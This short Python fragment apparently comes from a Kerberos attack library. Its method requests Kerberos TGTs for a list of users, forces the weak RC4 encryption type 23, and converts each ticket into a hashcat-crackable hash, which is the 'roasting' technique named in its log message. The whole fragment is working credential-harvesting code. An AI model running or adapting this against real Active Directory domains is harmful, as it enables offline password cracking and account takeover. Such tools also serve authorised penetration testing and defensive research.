docs: def run(self, creds, override_etype = [23]):
  		"""
  		Requests TGT tickets for all users specified in the targets list
  		creds: list : the users to request the TGT tickets for
  		override_etype: list : list of supported encryption types
  		"""			
  		tgts = []
  		for cred in creds:
  			try:
  				kcomm = KerbrosComm(cred, self.ksoc)
  				kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)
  				tgts.append(kcomm.kerberos_TGT)
  			except Exception as e:
  				logger.debug('Error while roasting client %s/%s Reason: %s' % (cred.domain, cred.username, str(e)))
  				continue
  
  		results = []
  		for tgt in tgts:
  			results.append(TGTTicket2hashcat(tgt))
  
  
  		return results